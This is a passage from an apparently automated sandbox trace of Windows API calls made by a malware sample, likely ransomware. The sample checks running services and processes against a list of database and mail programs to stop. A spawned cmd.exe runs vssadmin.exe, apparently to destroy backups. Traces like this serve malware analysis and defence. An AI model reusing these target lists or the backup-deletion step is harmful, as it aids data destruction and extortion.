lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.195] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.195] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.195] lstrlenW (lpString="Winmgmt") returned 7 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.195] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.195] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.195] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.195] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0047.195] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0047.198] Process32FirstW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.198] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.199] lstrlenW (lpString="System") returned 6 [0047.199] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.199] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.199] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.199] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.199] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.199] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.199] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.199] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.200] lstrlenW (lpString="smss.exe") returned 8 [0047.200] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.200] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.200] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.200] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.201] lstrlenW (lpString="csrss.exe") returned 9 [0047.201] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.201] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.201] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.201] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.201] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.201] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.202] lstrlenW (lpString="wininit.exe") returned 11 [0047.202] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.202] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.202] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.202] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.203] lstrlenW (lpString="csrss.exe") returned 9 [0047.203] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.204] lstrlenW (lpString="winlogon.exe") returned 12 [0047.204] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.204] lstrlenW (lpString="services.exe") returned 12 [0047.204] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.205] lstrlenW (lpString="lsass.exe") returned 9 [0047.205] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.206] lstrlenW (lpString="lsm.exe") returned 7 [0047.206] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.206] lstrlenW (lpString="svchost.exe") returned 11 [0047.206] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.207] lstrlenW (lpString="svchost.exe") returned 11 [0047.207] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.208] lstrlenW (lpString="svchost.exe") returned 11 [0047.208] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.209] lstrlenW (lpString="svchost.exe") returned 11 [0047.209] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.209] lstrlenW (lpString="svchost.exe") returned 11 [0047.209] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.210] lstrlenW (lpString="audiodg.exe") returned 11 [0047.210] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.211] lstrlenW (lpString="svchost.exe") returned 11 [0047.211] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.212] lstrlenW (lpString="svchost.exe") returned 11 [0047.212] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.212] lstrlenW (lpString="dwm.exe") returned 7 [0047.212] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.213] lstrlenW (lpString="explorer.exe") returned 12 [0047.213] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.214] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.214] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.214] lstrlenW (lpString="taskhost.exe") returned 12 [0047.214] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.215] lstrlenW (lpString="svchost.exe") returned 11 [0047.215] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.216] lstrlenW (lpString="taskeng.exe") returned 11 [0047.216] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.217] lstrlenW (lpString="taskhost.exe") returned 12 [0047.217] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0047.218] lstrlenW (lpString="presidential.exe") returned 16 [0047.218] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0047.218] lstrlenW (lpString="ol-filing.exe") returned 13 [0047.218] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0047.219] lstrlenW (lpString="overcome.exe") returned 12 [0047.219] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0047.220] lstrlenW (lpString="declinedreferral.exe") returned 20 [0047.220] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0047.220] lstrlenW (lpString="franciscotrack.exe") returned 18 [0047.220] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0047.221] lstrlenW (lpString="nicholas.exe") returned 12 [0047.221] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0047.878] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0047.883] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0047.897] lstrlenW (lpString="word.exe") returned 8 [0047.909] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0047.909] lstrlenW (lpString="semestermeta.exe") returned 16 [0047.909] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0047.910] lstrlenW (lpString="reflects.exe") returned 12 [0047.910] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0047.911] lstrlenW (lpString="beveragesradios.exe") returned 19 [0047.911] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0047.911] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0047.911] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0047.912] lstrlenW (lpString="ground.exe") returned 10 [0047.912] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0047.913] lstrlenW (lpString="least.exe") returned 9 [0047.913] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0047.913] lstrlenW (lpString="meetings.exe") returned 12 [0047.913] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0047.914] lstrlenW (lpString="wooltestimony.exe") returned 17 [0047.914] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0047.915] lstrlenW (lpString="inexpensive.exe") returned 15 [0047.915] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0047.915] lstrlenW (lpString="er-amd.exe") returned 10 [0047.915] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0047.916] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0047.916] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.917] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.917] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0047.917] lstrlenW (lpString="mobsync.exe") returned 11 [0047.918] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0047.918] lstrlenW (lpString="payload2.exe") returned 12 [0047.918] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.919] lstrlenW (lpString="cmd.exe") returned 7 [0047.919] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.920] lstrlenW (lpString="conhost.exe") returned 11 [0047.920] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.920] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.920] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0047.921] lstrlenW (lpString="VSSVC.exe") returned 9 [0047.921] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.922] lstrlenW (lpString="svchost.exe") returned 11 [0047.922] Process32NextW (in: hSnapshot=0x204, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0047.923] CloseHandle (hObject=0x204) returned 1 [0047.923] Sleep (dwMilliseconds=0x1f4) [0048.675] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29ff60 [0048.675] EnumServicesStatusExW (in: hSCManager=0x29ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0048.676] GetLastError () returned 0xea [0048.676] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0048.676] EnumServicesStatusExW (in: hSCManager=0x29ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0048.677] CloseServiceHandle (hSCObject=0x29ff60) returned 1 [0048.677] lstrlenW (lpString="Appinfo") returned 7 [0048.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.677] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.677] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.677] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.677] lstrlenW (lpString="AudioSrv") returned 8 [0048.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.677] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.677] lstrcmpiW 